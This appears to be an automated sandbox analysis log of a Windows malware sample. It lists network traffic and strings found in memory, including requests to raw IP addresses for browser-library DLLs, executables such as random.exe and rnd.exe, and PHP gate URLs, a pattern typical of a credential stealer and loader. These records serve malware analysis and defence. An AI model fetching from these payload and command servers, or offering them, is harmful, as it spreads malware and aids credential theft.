Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/rnd.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: 000003.log5.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log5.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log5.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeX
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/.
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll/
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllj
Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllo
Source: file.exe, 00000000.00000002.1987080237.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1987080237.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll/
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllL
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllr
Source: file.exe, 00000000.00000002.1987080237.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll4
Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlle
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/U
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(_
Source: file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD52
Source: file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH5
Source: file.exe, 00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpOVH
Source: file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpX#R
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbP
Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsoft
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ocal
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2712835094.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.10
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpHG
Source: skotes.exe, 0000001B.00000002.2712835094.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpg
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/847
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe13
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe8
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe8-3693405117-#
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeK
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeXU.QP
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exephp
Source: skotes.exe, 0000001B.00000002.2712835094.000000000110E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2712835094.00000000010E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exe
Source: skotes.exe, 0000001B.00000002.2712835094.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exeex.phpr
Source: skotes.exe, 0000001B.00000002.2712835094.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exefc8506238476
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
